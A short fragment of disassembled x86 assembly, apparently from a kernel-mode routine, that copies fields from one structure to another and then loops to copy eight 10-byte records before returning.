movzx ecx, word [ebx]
mov dword [eax + 0x1c], ecx
movzx ecx, word [edx + 6]
mov dword [eax + 0x20], ecx
movzx ecx, word [edx + 8]
mov dword [eax + 0x24], ecx
mov ecx, dword [edx + 0xc]
mov dword [eax + 0x28], ecx
mov ecx, dword [edx + 0x10]
mov dword [eax + 0x2c], ecx
mov ecx, dword [edx + 0x14]
mov dword [eax + 0x30], ecx
mov ecx, dword [edx + 0x18]
mov dword [eax + 0x34], ecx
mov ecx, dword [edx + 0x204]
mov dword [eax + 0x88], ecx
push 8
add eax, 0x38
add edx, 0x24
pop ecx
mov esi, edx
mov edi, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
add edx, 0x10
add eax, 0xa
dec ecx
movsw word es:[edi], word [esi]
jne 0x80044030
pop edi
pop esi
pop ebx
ret 8